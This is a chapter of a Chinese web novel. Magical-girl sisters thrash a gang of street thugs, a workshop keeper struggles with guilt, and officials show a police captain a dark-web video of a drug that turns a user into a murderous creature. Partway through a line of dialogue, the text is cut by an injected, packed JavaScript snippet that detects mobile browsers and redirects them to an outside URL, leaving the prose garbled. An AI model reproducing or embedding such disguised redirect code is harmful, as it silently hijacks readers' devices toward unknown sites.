森山寺未雅当然不会觉得自己的妹妹是突发奇想一个人跑去吃拉面或者寄快递,她沿着小路快速抵达了定位附近,还未靠近就听见了争吵的声音。 “既然你选择走这条路那就把钱交出来吧?”欲望来自一个流里流气的男声。 “我们可是和流火组的人认识的,流火组你知道吗?可是犬山家族干部管理的哦?”另外一个人炫耀道。 是小混混!森山寺未雅从对方过于经典的台词和语气中迅速地了解了事件的全貌,却不知道这种事情怎么会发生在自己妹妹身上。虽然最近确实治安不太好但森山寺未央又不是手无寸铁之人,实在不行她会跑。 “都说了我没有钱了,我要走你又不让,我要是有钱我就打车回家了还能遇到你?”森山寺未央的语气一如既往地理直气壮。 “别听她瞎说,那个盒子我认识,那家店铺一盒点心抵我们一周额度呢。”另一人自以为声音很小地说。 “那当然了这家可是我亲自挑的!额度是指生活费吗?你们生活费这么低比起打劫不如打工啊!不打工打劫难道很光荣吗?看你们衣服你们连外围成员都不是吧!今天市区那里的站岗活动你们没去吗?”森山寺未央大声嚷嚷。 “戚,被她听见了。” “喂你是在瞧不起我们吗?看我把你点心砸了!”另外一个人气急败坏了起来。 森山寺未雅迅速跳了出来,她看见不远处有七八个人把森山寺未央围了一圈,那些人完全没有因为自己这么多人围着一个高中生就感到惭愧,一副准备动手的样子。 “虽然不知道犬山家族是什么,但你们确实有够像群狗的。”森山寺未雅有话就说。 这句话一瞬间就吸引了所有人的注意力,一方面是因为没人注意到身后多出了一个人,一方面是这段话的羞辱含义十足。 森山寺未央也看见了自己姐姐,喜出望外地想跑过去又被一个人伸出的手拦住了,她小心翼翼地护住了自己怀里抱住的盒子,没有让任何人碰到它。 “喂,你说什么?”一个光头阴沉着脸看向了森山寺未雅。 “哦,她说你们像狗。主要是因为你们成群结队围着我吧,不过你剃光头后就没有狗那种毛茸茸的感觉了。诶你脑袋上的纹身是贴的吧?”森山寺未央说。 那光头一下子又把头扭回去了,颈部有力,并且青筋暴起。 “你再羞辱我们的话就不是交钱就能了结的事情了,给我把这句话撤回。”他神色愤怒,声音很大。 “就是贴的啊,都起边了。而且你的耳钉也是夹上去的,你有这么怕痛哦?”森山寺未央皱了皱眉,没有因为对方的愤怒就退缩。 不,森山寺未雅想,自己那说话很气人的妹妹并不是因为勇敢而没有退缩,她就是没有感受到对方的愤怒,而是和气地和她沟通呢。 这件事从森山寺未央很小的时候就被二人的父母与森山寺未雅注意到了,虽然这会导致她在与别人沟通时产生不小的问题,但好在有姐姐和她几乎形影不离,她不至于因此受伤。 但那段时间里她没有做到吧,那时她根本无法感受到任何情绪,无论是自己的还是别人的,更别说是别人对森山寺未央的了。 她在那段时间里有因为这件事而受到伤害吗?森山寺未雅忍不住想,明明她最害怕别人生气了,因为她根本就无法理解别人为什么而生气,也不知道该如何平息别人的愤怒。 相反,森山寺未雅理解森山寺未央的一切,也能理解她即使不理解别人也同样真挚的本质,森山寺未央不喜欢别人对她发脾气的根本是因为她担心自己在不知不觉间伤害了对方。 “喂,我说你——”眼看那光头被这样说了,一旁一副追随者模样的人上前想要说些什么。 “说什么?”森山寺未雅一边撞开围着的人一边反问,她提前对自己附加了耐力和力量状态附加魔法,肩膀撞开普通人的力度宛如钢板碰撞。 随着外围的人被撞得东倒西歪,一时没有人说话,只剩一片“哎呦”的声音。 “怎么不快点回家?天都黑了。”森山寺未雅站到森山寺未央的身边。 “我担心盒子里面的点心散掉,就想走回家的。不好意思呀我也不知道这群人什么时候出现的。”森山寺未央想挠挠头但想起来自己手里还有点心就没有动作。 这群人想必是跟着森山寺未央跟了很久了,森山寺未雅心想她一路从市中心抱着点心走到这里,对方大概是看这里没什么人灯光又暗就准备动手了。 “喂,你——”被无视了的光头非常地生气,伸出手想要抓森山寺未雅的肩膀,却被她挡开了。 “你只不过是靠块头当上这群人的老大的吧?”森山寺未雅说着,环视了周围逐渐爬起来的人,情绪各异但统一对外,趋于威胁度的提高,一部分摆出了要动手的架势,还有一部分摸出了像是武器的东西。 不等对方回答,森山寺未雅就迅速地动了起来,她没打过群架,但天下大多数事情的核心是共通的,被一群问题围住的话首先要做的事情就是想办法打开突破口。 而最好的突破口就是眼前这个大块头了,他虽然看着强壮但无非是重一点的肉块,还没有旁边那个瘦瘦的人威胁性高。但森山寺未雅想做的并不是解决这群人,她有些生气这个大块头刚才吼自己的妹妹,比起让他因“我受了重伤无法行动”的原因在后续依旧当着这群人的老大,她想要这个人威严尽失。 “你是个废物,”森山寺未雅指着光头的鼻尖说,语气没有什么感情波动但内容气势十足,“所以我不会和你打,这里的每个人都比你看上去强得多,你不值得我动手。” 随后她看向一旁手里藏着尖刀的小个子,走上前去在对方扑上来之前抓住了对方的胳膊,用点力把两条胳膊都拧断了。看着捂着胳膊跪下哀嚎的细瘦背心人,森山寺未雅感受着方才那隔着抹布开罐头的手感,若有所思。 都说了她不会打架,不懂分寸,只好想办法让这些人都失去行动能力了。她迅速地把剩下的人都解决了,其实剩下的人在看见她如此简单地解决第一个人之后都对结果感到了质疑。 因为害怕而后退的有三个,这些要打一顿,直接跑的有两个,两个人互相不熟,不用管了,剩下的一边叫着“老大你动手啊”一边有所动作的要打而且要保持其最后神志清醒。森山寺未雅迅速完成了所有行动,森山寺未央还跟在后边补了几脚。 而那个光头,在一开始就没有了继续行动的勇气。 “你,你,”那人连最后的威胁都声音不大,“流火组不会放过你的,你侮辱了犬山家族,你——” “才不会呢!”森山寺未央大声质疑,“你是码头那边的工人吧,不知道为什么被赶走了跑到西边来,临时贴了像是帮派成员的纹身贴带了耳钉当了这群惯犯的老大。虽然我不认识那个犬山家族和那个组,但是看着装你连外围成员都不是吧。” 剩下几个还清醒着的人听见这句话都不可置信地去看光头,他脸色苍白,冷汗直流,犹如知道自己中枪但不知道自己什么时候会死。 “回去吧。”森山寺未雅说。 “好哦,这个你也拿一盒。”森山寺未央迅速跟上了,把两个盒子里面的一个给了森山寺未雅。 二人完全没有理会后方的那几个人,聊着天就走了。 “这个为什么有两盒?”森山寺未雅刚刚得知这个点心价值不菲。 “两盒是一样的,有一盒是羽生给你的辛苦费。”森山寺未央说。 “哦,那真是多谢了。”森山寺未雅当场就拆开了,森山寺未央也凑过来拿。 “吃你的那一盒啦。”森山寺未雅挪开了盒子。 “我手里这一盒是我给你的,我自己的当场就吃完了。”森山寺未央坚持不懈地伸出自己的手。 森山寺未雅迅速就理解了对方的想法,没有再挪开盒子。 “好扎实啊。”森山寺未雅感慨说。 “对吧,感觉牙齿要被粘住了。”森山寺未央努力地咀嚼着说。 “今天你们有遇到什么有趣的事情吗?”森山寺未央问。 “有!我们去的路上晓她在时速近300的路上跳车了!我们还去吃了鳗鱼。后来在医院里我遇到了一个我们差不多大的院长她看上去要过劳死了。后来我碰上了Evo的CEO,她黑漆漆的而且打自己员工诶。最后晓她受了好重的伤,不过吃了克拉拉给的药就好了,真厉害!最后我们遇到了一个从Evo被贬到神脉医院的研究人员,看上去超可疑的。”森山寺未央尽挑自己觉得感兴趣的事情说。 “真是波澜壮阔的一天,你们的一天很漫长啊。”森山寺未雅简单地给出了评价。 “对吧?感觉今天好长,而且明天还要上学。”森山寺未央笑嘻嘻地说,“你呢?今天都待在羽生家吗?她家伙食如何?” “吃了就像没有吃,不过我中途跑回家了一趟,还遇到了妈妈,她和我说了一些关于伊提阿姨的事情。”森山寺未雅说,“妈妈隔着变形魔法把我认出来了哦!我还吃到了爸爸做的年轮蛋糕。” “妈妈好厉害!何等恐怖的洞察力!”森山寺未央大惊失色,“我也想吃年轮蛋糕!” “哼哼。”森山寺未雅得意地笑了。 “啊!你这个表情是在得意,我就知道!”森山寺未央肯定地说,“有什么好得意的,好吧确实很值得得意啊!伊提阿姨以前和妈妈是同学吧,除了这个以外还有什么特别的事情吗?” 森山寺未雅继续咀嚼起了糯米团子。 “她的职业规划比较奇怪吧,不过这一点我没办法评价。重点是,我找到了伊提阿姨当年送给我们的八音盒,她留了信息给我们呢。”森山寺未雅说。 “什么什么?”森山寺未央好奇道。 “一些有用但看不懂的信息,明天带去侦探那里一起看吧。”森山寺未央问,“你记得伊提阿姨她是个什么样的人吗?” “不太记得了,就记得她话少少的,而且总是给我们带奇怪的玩具呢。”森山寺未央回忆着说,“现在想起来她说的话也挺奇怪的,小时候都没察觉到。” “我也一样。”森山寺未雅点了点头。 那时她们完全不知道这样的一个人会给她们留下这样的信息。 “不过我找到了我以前的编曲本哦,再过一段时间我就可以把完整的谱子交给你们了。”森山寺未雅说。 “那太好啦,我们要有原创曲目啦。”森山寺未央感到开心。 “下一次演出是什么时候呢?”森山寺未雅问。 “完全不知道!不过未来的话想去绿地公园那个城市礼堂或者市中心的城市剧院。”森山寺未央漫无边际地说,“听说那里有个舞台和观众席之间隔了水池,好奇怪啊。” “那至少得有半小时的原创内容吧。”森山寺未雅心里觉得麻烦。 “不要觉得麻烦啦,这可是魔法少女乐队诶,不觉得很厉害吗?”森山寺未央不满地说。 “是很厉害,好吧,大家都要加油。”森山寺未雅叹了口气。 森山寺未央又笑了起来。 艾克里普先将几人收集到的各种线索带去了启明星事务所,她听见屋内有人在吵架,心想自己似乎来的并不是时候,便给对方发了条信息后将物品放在了休息区的茶几上。 回到事务所的时候发现地上有一个文件袋,她拆开看发现是不久前出现过的一些通知书,以及“动物管制申报”之类的表格,她皱了皱眉,直接将档案袋整个烧掉了。 经过几次之后她就明白了这些档案袋是哪里来的,无非是那些窥视夜藤事务所的人联系了当地的灰色产业链,以这种方式给她找茬而已,虽然说只要无视就好,但这也同时让艾克里普心情有了些不愉快。 以前她不会因人类的这种贪婪的行为产生负面情绪,甚至会因这些情绪出现的原因对人类感到怜悯,但今日连续发生的事情让她对人类能做出的最坏的事情有了新的认知,在刷新内心承受上限的同时,她心里那些对其的负面感情还没能及时地被消化掉。 这也令艾克里普回想起了那个留在实验室的研究员,她先是想起了这么一个人,随后才想起来她的名字。她真的会按她说的那样做吗?艾克里普忍不住怀疑了起来。 带着这样的思绪,艾克里普前往魔法工坊的锚点地图区域,新添了一个新的锚点,可以直接抵达神脉医院附近。 松了一口气的同时,艾克里普也对自己这样的行为感到羞愧。她觉得自己可以为了“看护那些孤儿”而设立锚点,但不应该以“怀疑那个人”作为原因使用魔法。 不为了单独的人类个体使用魔法,这一原则回荡在艾克里普的心中。仿佛国王的训诫回荡在耳边,提醒艾克里普她所做的偏离了她的原则。 可是,国王殿下,我是为了那些孩子,我是担心那些孩子受到伤害,艾克里普忍不住在心里对自己的行为做出辩解。 但很快她就意识到了,她不应该辩解的,她的一切都是国王赐予的,她不可背离也不可辩解。实际上国王没有说任何话,国王不会和她说话,艾克里普知道。 国王远在另一个世界,在这个世界上她的同伴只有那些孩子,而她们永远不会责怪自己做的这些事。 这一想法令艾克里普感到了安心,她看了看那颗亮晶晶的水晶,最终没有再动它。 转过头,靠窗的角落里,那副亮黄色的架子鼓在和她问好。这个魔法工坊里它是最不起眼,却又反而是最特别的存在了,艾克里普这样想着忍不住笑了。 她走到座椅边,习惯性地摸起鼓棒,抛起在半空中转了个圈。 那些演出现场里很多鼓手会这样做,而且在演出过程中还会开始转圈甩头发。甩头发以艾克里普的头发长度八成是不行的,但抛鼓棒却是轻而易举的。 无论哪种都是为了吸引观众的视线吧?艾克里普想着,鼓手一般都在舞台的后方,比起能走来走去的吉他手贝斯手,或者站在前面的主唱,可以说是相当的不起眼了。 在二楼的魔法工坊里,这套架子鼓也是这样在角落里,但当艾克里普坐在椅子上抬起头,发现自己从架子鼓的后面看向魔法工坊里的一切,这样的感觉还挺好的。 是视角的原因吗?艾克里普也不太理解自己为何会有这样的感受,她没有再抛鼓棒,而是简单地连续敲击了起来。 控制敲鼓的力度比练习敲鼓的速度更考验艾克里普,她不记得自己修复了多少次鼓面和鼓棒了,有时她也感慨这是她第一次因为一个物品使用这么多次魔法。 但架子鼓不会抱怨她老是控制不好力度,不会惊叹魔法的存在,也不会感谢她修好了自己。 艾克里普敲击,鼓面就发出声音,艾克里普只是看着,它就只是沉默。工具就是这样的存在,艾克里普想,乐器也是工具,是为了被使用而诞生的。 架子鼓是她为了大家的乐队而去学习的。乐队是为了大家能自由行动而组建的。艾克里普心想只要自己一直这样练习下去,大家的乐队就会一直存在,大家就会一直在一起。 但这样的话,艾克里普忍不住自我责问道:那这样的话,我为了架子鼓使用的这些魔法,算不算是为了我想要让大家一直在一起而使用的呢? 练习的声音停下了,因为鼓棒断掉了。 “啪嗒——”半截木棍掉在地板上的声音清脆,就像是地板也是一面鼓一样。 怀疑一旦开始就没办法停下来了。艾克里普忍不住开始思考自己做的一切到底是为了什么。 不是的!那些孩子也是守护城市的魔法少女,我们聚集在一起解决了很多事情。对啊!就是这样!我们在一起绝不是我的一厢情愿!我并没有因为一己私欲而使用魔法!艾克里普辩驳。 但那些本是你该做的,那些东西就藏在这个城市里,你没能发现,你没能做到,不是吗? 我,是因为那些人针对我的行为设置了陷阱,我—— 可是你的力量这样的多,这样强大,不会再有比你更强大的人了,若是你都做不到的话,那再多的你聚集在一起的话也是徒劳不是吗? 不是的,我只是,我只是需要一些时间。 时间!时间!时间! 有谁的声音震耳欲聋,艾克里普的魔法工坊内的一切都因为她的魔力产生了反应,有的嗡嗡作响,有的逐一碎裂开,她身前的架子鼓整台被压扁了。 那些时间还不够吗!那么长的时间你难道还想再经历一遍吗?不要忘了,不要忘了,你是如何成为现在这般模样,不要忘了你的过去! 我不会忘记的,我记得一清二楚,无论是哪一份记忆,我现在都能立刻回想起来,所以,我只是还需要一些时间,即使只有我一个人。 不要忘了你的过去,你一个人的过去,你一个人—— 我一个人,因为,因为那些孩子没办法一直陪着我的。 “哗啦!”水晶爆裂的声音犹如骤然升起的防空警报,艾克里普骤然反应过来,工坊内的一切都被她搞砸了,意识到这一点的她条件反射地调动起魔法让工坊内的一切都恢复原来的样子。 先是锚点水晶,各种架子,碎掉的锅,产生裂纹的法阵,墙面,地板,掉在地上的半截木棍。 以及被压扁的架子鼓。 于是艾克里普终于清醒了过来,并且回忆起刚才自己想了些什么,她意识到自己正在流泪,她不该流泪的,因为实际上没有任何人在责问她的过失,她只是在自责。 但是眼泪还是在流,她搞不清楚自己为什么这么难过,仿佛就是因为自己无法了解自己,这份焦急的心情就是她流泪的元凶。 比起这个,有个问题摆在她的眼前:你要修好这台架子鼓吗? 艾克里普伸出手,没有使用魔法,只是用手指去敲击被压扁的鼓。 “咚!”鼓发出了奇怪的声音。 这让艾克里普忍不住笑了,她调动起了魔力,架子鼓逐渐膨胀,站起,最后恢复了原来的模样,魔法工坊内的一切恢复如初,仿佛刚才的一切都没有发生过。 “阿尔卡纳的国王殿下,我在这里交到了朋友,她们都是魔法少女,我们在此之前彼此都不相识,但我们就是在同一天,同一个地点相遇了,这是个奇迹。”艾克里普轻声说。 没有声音回应她。 “我想要珍惜这个奇迹,我想要保护它,因为这个奇迹不仅眷顾了她们,也眷顾了我。”艾克里普说,“既然这样的我也能被奇迹眷顾,那么我相信我们在一起一定是正确的结果。” 没有声音回应她,阿尔卡纳的戒律没有禁止她这样做,没有禁止她为人类的单独个体使用魔法,只是她一直以来的经验为她设下了限制,防止她受到伤害。 “所以哪怕是为了我自己,我也想要这样做,国王殿下。”艾克里普说,“不,这就是为了我自己。” 她决定正视自己的内心,哪怕还不明白,但她全都会接受。 到时她的任务结束之后,若是与国王讲起自己所做的事情时被训斥,她也一定会坚持并引以为豪的。 与此同时,西部市区市公安局办公建筑内缉毒队队长办公室办公桌上,放着一张报告,此为主要客人,其随从堆叠于桌边,随时待命。办公室内在场人员四人,一人坐办公桌后,一人坐桌前待客沙发,为客,客人的旁边站着另一位客人,最后一人站在入室门边,没有做客的意思。 当然深夜也不是客人该上门的时间。 “带队函和协查函都已麻烦局长盖章,接下来是联络沟通阶段,这一流程依您的习惯来更好,我们不必指手画脚对吧?”坐在沙发上的客人微笑着说,她正对百叶窗,正对办公桌后方的办公室主任,却在看那办公桌上正对她本人的姓名牌。 桃源天牛。 “警务总流程用时不过半天,此等效率在本分局还是第一次见,我备感荣幸。”桃源天牛双手交叠覆盖于膝前,笑着回应,“或许是我眼拙,但恕我冒昧确认,几位携带八员带盾武装镇暴人员从百里外押送至此的重犯,确实是此时坐在审讯间内的那位女士,没错吧?” 不到一小时前,一辆押运车停在西部市区北警察局的前门,后跟一辆制式特警车,无前导车。鱼贯而出的八位全副武装警服骑士差点踩碎本就有些开裂的楼前石砖。随着办公人员携工作人员站定,最后从押运车后方缓步走出的危险分子却是个学者模样的年轻人。 随后,桃源天牛才被告知办公室里来了客人。 “对司法人员来说眼光是吃饭的看家本领。”站客开口。 “我属公安部,而且至少我有事前通告。”桃源天牛重点强调了事前。 “您不知情也是情有可原的,罪恶往往不晒太阳,罪大恶极者更是有如吸血鬼一般紫外线过敏。”坐客摊手,“那位博蒙-阿贝尔所藏之地光是散步区就大过这的城市绿地。” 报告书上,博蒙-阿贝尔的名字和她的面孔一样令这座城市感到陌生。 “罪名是?”桃源天牛问。 “报告上有。”站客回应,“细节在你右手边那一叠的第三张,现在不是阅读时间。” “阅读时间已经结束了,我要问的是额外内容。”桃源天牛没有移开视线,“非法毒品制作及贩卖,罪大恶极不可赦,但我市民风跨区执法会有断手风险,在这一点上我先感谢各位的通融,第二我需要足够的带队意向以跨城市执法。” “带队函。”站客指了指那一叠文件。 “跨过请示阶段凭空出现在办公桌上的带队函?我局员工的彩票中奖带有停职调查风险。”桃源天牛笑了笑,“还是说我局日思夜想的自动审批机器运行流程先从思想开始?” “你们这的人说话都这样?”站客横眉,“你要是有好好看过那叠文件就知道事态紧急,按照行政案件程序规定和警察法,紧急情况下流程侦查或程序都可以简化,可先执行后报告。” “那二位客人上门的理由是?”桃源天牛眉头皱起,“贵局地处位置不近国际港但也处贸易特区,就相关编制完整度和分析组完整度来说,大可不必劳烦八位反恐武警就位并押送单人重犯至隔壁城市的市公安局,标准随车警力为五人,更别提阿贝尔女士还是残疾人。” 报告上书,博蒙-阿贝尔被逮捕时未做挣扎,右手臂为义肢,无特殊反应和用途。 “涉毒大案在你看来——”站客发怒。 “仅涉毒?”桃源天牛捏起报告,“博蒙-阿贝尔的定罪条文模糊,落网过程不明,检察院报告缺失,以及——” “桃源队长,我清楚您的为难。”坐客一展愁容,“这是突如其来的执行命令,而不是您自发的请示,在这一点上我局未提前告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802163|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知,请容我在此向您致歉。” 纸张摊回桌上。 “博蒙-阿贝尔已经坐在审讯厅的椅子上了。”桃源天牛面色如常。 “博蒙-阿贝尔所属的家族之罪大恶极非比寻常,此属涉恐案件,可先行控制嫌疑人后补司法程序。”坐客回望,“我局的确设有完备的化学物检查设施和法医科,可在刑事案件的必备条件上有所欠缺,这也是为什么我们求助公安武警负责押送。” “您就职司法部门定是在起诉上有着比我更为专业的见解的。”桃源天牛笑呵呵地说,“可见解可以说服我但说服不了检察院吧?” “你就别想着我们自己之后的问题了。”站客不满。 “最近我市各种事务繁忙,缉毒队的同事们面对这样的案件感到无力也是无可奈何的吧。”桃源天牛叹气。 “队长,你还想着你的组员就认真看看那张报告的下半部分吧。”站客提醒。 “我可经受不起您这一句称呼,不过无功不受禄,不如我帮各位转接我局刑警队花野队长如何,她——”桃源天牛笑着提议。 “桃源队长,这起案件的执行行动比您想象中的还要简单,复杂在前,好在我们有市公安局下放的紧急行动授权单。”坐客抬手,守门者上前,递给她一封信件。 “使用场景不合适吧。”桃源天牛没有看向那封信。 “因为威胁很快就会继续上升的,正如您所言,现在时间才过去不到半天。”坐客拆开信封,取出一台手机,开机,屏幕亮起。坐客稍作调试,守门者捧着手机来到办公桌前,黑色方屏落座,正中间一个半透明三角形,守门者退后一步意示您请。 桃源天牛顿了顿,看向坐客,她笑着。 视频开始播放。 画面模糊,没有声音,6寸小屏中画面倾斜,此为偷拍视角。窥视之下的昏暗空间中有青年多个,笑容肆意骨头架子打摆,地面上散落酒瓶卡牌台球杆,包围式沙发群上密布衣物,膝盖高的大方玻璃桌上,玻璃杯与酒瓶齐聚,骰子和牌同飞。 四周无窗,可见的12位青年人在大概是地下室的空间内寻欢作乐。行动逻辑不明,但这个的原因倒是明确,桌上的酒精,嘴里叼着的烟卷,以及,蹲在角落里的青年人掏出来的一个塑料袋。 褶皱的,廉价的塑料袋,从中抖到桌上的那些瓶瓶罐罐和注射器却让那些青年人聚了起来,并将一切除那以外的东西扫到一边,身着桌下。青年人或熟练或生疏地摸索着使用那些器具,无论化学成绩多一般的人此刻都能无师自通如何将那些标签都没有的瓶瓶罐罐混合到一起,使用注射器汲取,装模作样地排出空气,注入人体。 反反复复。 桃源天牛看着,她不陌生。相反,她对给她看这一视频的客人感到陌生,所以她抬头。 “桃源队长,我听闻,贵市前段时间有野兽在市区伤人。”坐客笑问。 “确有其事。”桃源天牛回应。 “作为公务人员,我对逝去的生命缅怀,作为司法人员,我对程序的错漏感到无奈。”坐客说,“作为一个人,我认为,那是一场悲剧。” 手机屏幕中的人类正身处极乐。 “7人身亡确实是难以挽回的悲剧。据刑警队调查,受害者之间无特殊关联,死亡将她们串联在一起,这是最糟糕的关系了。”桃源天牛叹息回应,但她看见坐客笑了,这位客人一直在笑,但此时那突兀的嘴角勾起就像是在,羡慕。 “我见过太多无法选择自己的出生和死亡的人,桃源队长。”坐客说,“但,这悲剧本该是有个限度的,你我因工作内容对此设限相当宽容,大到近乎察觉不到边界的存在。” 屏幕中,有躺在沙发上的青年动了动,再次起身摸向桌子上的针筒。 “但是,总有什么能提醒我们的。” 针管接触青年的脉搏。 “长者的规劝,哲学伦理,宗教。” 针筒掉落地面。 “最糟糕的是,客观现实。” 青年俯身,昂首,如想要将头甩出去一样剧烈地前后来回摆动自己的上半身,周围的其它人有的被其动作吓了一跳,更多的在笑,甚至有人拿酒泼摇晃的青年。 而青年摇晃得越来越快了,模糊的画面近乎承载不下全部动作过程,此等异常的行为从慢到快仅两分钟不到,没有慢下来的那一段,青年忽然停下来了,以后仰。 青年的前胸开始搏动,振幅强烈到近乎带起肋骨,幅度越来越大,似乎在代替青年摇晃一般,但呼吸却没有跟上,供氧乱了套,青年头部后垂,中枢随之失去正常工作能力。 很快,幅度平复了。不对,桃源天牛意识到那并非是心脏搏动的平复让青年海拔最高点没再反复凸起凹陷,而是其本身变得更包容了起来,青年开始膨胀。未被衣物覆盖的胳膊与颈部尤为明显,那肌肉在短时间内膨胀了三倍,还在继续,血管覆盖其上,在模糊的画面中面前能看出那凸起的部分是血管。 青年仰面不动,但空间里的其它人动了起来,有的拍照有的后退,酒精药物烟草麻痹了所有人的神经,将青年的表演视作为过于绚烂的余兴节目。 膨胀稍稍中场休息时,青年的个头已比原先大上五倍有余,全身上下除了头部以外全数奏效,显得头部像是被镶嵌进了颈部肌肉中,小到几乎看不见。这样的情况下它终于适应了自己崭新的身体,它没有问好,没有看向其它人,没有自拍,也没有再去拿注射器。 它开始杀人。 先动的先杀,先跑向出口的先杀,其次是尖叫的,拍照的,摆手摇头的,刚刚醒过来的,最后是一直没有醒过来的,最后,它的膨胀程序再次启动,它爆炸了。 或许是短期内的加速生长耗尽了它的能量,它的爆炸并未带来血肉横飞的表演,只有黑色的不明物体飞溅,最后,那些黑色也消失殆尽,仅剩11具开膛破肚的可怜尸体。 视频播放完毕,桃源天牛如梦初醒,她想扔下手机,却想起自己根本没有将其拿起来过。 “用客观现实拓宽极限太粗暴,但也有效,你我现在能理解这一点了,桃源队长。”坐客看着桃源天牛说,“而检察院也会理解的,怎么可能不会呢,现实就在那里,尸体就在那里。” “…事发地址在哪?联系如何证明?”桃源天牛问,“什么时候发生的?视频来源?” “这一点上不得不承认还是你们这群公安的适应力强。”站客挑眉,“先从最后一个开始回答你,视频来源是暗网,但传到我们手里的这一份不是。看到这个视频的人不会多,就在线浏览量不会超过两位数。” “传到。”桃源天牛重复,“与阿贝尔女士落网谁先谁后?” “自然是落网在先才合理。”站客说。 “就当是这样吧,接下来几个问题呢?”桃源天牛问,她恢复了笑容。 “接下来的问题就该写在你的调查会议主题上了,队长。”站客说,“信息部门和药检部门表示这群毒虫的吸毒后表现与在你们这流通出去的那个毒品影响类似,也与博蒙-阿贝尔所属医院找出的化学物质成分重叠,这些作为证言已经写上去了。” “被委以重任还真是荣幸的体验。”桃源天牛说,“那么,传到的主语总能告诉我吧。” 站客没有立刻回答,她看了看坐客。 “你我都清楚,那位顾问只有在谈生意的时候会主动与宾词打招呼。”坐客说,“但无论她是否客气,她说的话做的事我们都必须有所反应,因为那是有所象征的。” “就近原则,她看到自己周围有人行动起来或许心情也会好多吧。”站客笑着说。 “贵市的选任系统看来也并不和当地特产一般令人放松。”桃源天牛说。 客人们顿了顿,再次对视了一眼。 “职场氛围这一块哪能比得上你们这?术业有专攻,我们相信队长的能力。”站客说。 桃源天牛深呼吸,笑着,但像叹气。守门者上前取走屏幕暗下来的手机,收回信封中。 “我会尽快补上意向书这一环。”桃源天牛说着,将那张报告书放在了一叠的最上面,“顾问有明说阿贝尔女士的去处吗?” “死刑,尽快,你们这次不会遇到碍事的人了,记者也不会有。”站客说。 “这可不是我能决定的,行动效率也是。”桃源天牛笑了笑,“几位真的不考虑一下花野队长吗?她绝对会乐意为几位效劳的。” “花野队长对我等而言并非陌生人,我们知晓她的人品和能力。”坐客点头。 “她之前还是警司的时候和我在一个局,那个时候我就能看出来她会是个好警察了。”站客笑了,在“好”字上加重了恶意。 “好警察少见,位置高的好警察更是难得。”坐客笑着说。 桃源天牛等待贬低言辞。 “大多数人相信车到山前必有路,部分人绕山寻路,部分人聪明,部分人离开。”站客咧嘴笑了,“花野,据我所知是个著名登山客,无论是上学时,上班时,还是拒绝上班时。” “花野队长享受爬山的过程,而非山顶的风景。”坐客无奈地笑了,“过程中她往往是顾不上其它东西的,但您就不同了,桃源队长。” “与她不同,你擅长爬山不是吗?”站客说,“也擅长挑选自己的目标。” “荣幸至极。”桃源天牛笑着说。 “我们才是,冒昧上门靠扰您这么久,望您海涵。”坐客站起,桃源天牛同样,二人握手,与另一人再次二人握手。 “涉□□公安部门会优先处理,局长和我说过权限范围,无论是哪边,二位不会等想要的结果太久。”桃源天牛笑着说,“那么,我让同事送你们?” “不必,我们静候佳音。”客人笑了笑,离开了。 办公室内回归一人状态,桃源天牛拿出自己的私人手机,翻出一个号码,她顿了顿,将视线从那个号码上移开,翻出另一个号码,播出。 没接通,再次播出。 还是没接通,再次播出。 叹气,换了一个号码,播出,这次很快接通了。 西部市区刑事公安警察队主要分缉毒队,刑侦队,情报队和审讯队,同时设有法医部门和特警支队,但财侵和追踪因协议外包,设系统内特殊部门。设备还算不错,执法记录仪人手一个,警用步枪有,防爆盾也有,按需申请下发,应急情况下调取武警或消防部门支援不是难事。 想起那八个武警排成排站着的场面,桃源天牛不禁有点想笑,但想到那个视频她又很快就笑不出来了。 得益于警察局局长对外多面开花的笑脸,以及刑事支队队长常年对内忧虑,多年以来各刑事队对跨城市执法案件并不会刻意拖延。 但这次不一样,桃源天牛心想。 “桃源队长?”电话那头是个年轻人,“我这里一切正常,您有什么指示?” 年轻人是刑侦队侦查员之一,责任心强并且枪法不错,最近事多,哪怕是非工作时间这些刑警们也不会拒接局内来电。 “你好,不必拘束,现在不是工作时间。花野队长呢?”桃源天牛问。 “我问问,您稍等。”年轻人朝一旁的人问了几句,“报告,花野队长之前说去抽根烟之后就没再来找我们了!” “…拜托你去找一下她好吗?”桃源天牛说着叹了口气,“想办法让她醒过来,醉了也一样,然后给我回一个电话。” “啊队长她又自己跑去喝酒了?!”电话那头传来一阵惨叫,“是的,我这就去!” 电话挂断了。 50.★ ★ ★ 2024年4月25日,星期四,天气多云。 昨日下午4:26,临河北区区爆发大规模火拼事件。由于冲突蔓延至临近高速路桥段,警方启动紧急封锁程序,108号高速进出方向瘫痪近7小时。 昨天的交通混乱期间,东部市艺术文化办公室仍如期发布本届“城市感官艺术节”的主视觉图,一张被无人机拍下的城市拥堵图,图中车灯拉出红线,像血脉一样交错在城市心脏。 东部商业区知名网红餐车“Salt & Soil Creamery”在□□枪战次日上线新口味“硝烟余味系列”,其中“弹壳咖啡”味添加轻微焦糖烟熏,而“街头坚果榛果”中加入了一滴墨鱼汁模拟质感。 有狗仔拍到某本地著名公司CEO在夜里1:30出现在西市区墓园,与一名戴口罩青年在古墓区交谈近45分钟。两人未有身体接触,但气氛“极其安静”。 有匿名举报者称某生物基因公司附属医院在咨询过程中暗示顾客“容貌不改等于被神遗弃”,并展示整形后顾客获得新生活的照片墙。卫生部门已介入调查,负责人称“医院在合法边缘游走”,但宗教组织发言人警告:“身体与信仰混为一谈是对神明的玷污。” 今晚注定是不和平的一夜,不如说对于这座城市,不和平对夜晚来说是常态。 虽然都说□□人士在现代想要生存就必须把产业都搬到白日之下,好与合法的那些争分夺秒地分食利益,但无论如何在黑夜中行动都更加符合她们的生存习惯。 持续一整天的大规模行动已经足以让部分相关人士起床工作,并且考虑城市的修复计划。除此之前还需要考虑的是市民来信的回收处理工作,以及舆论。 在特警的镇压下,西部市区的街道恢复了往日的清净。 今日清晨天气晴,日之森教务处宣布今日正常上课。 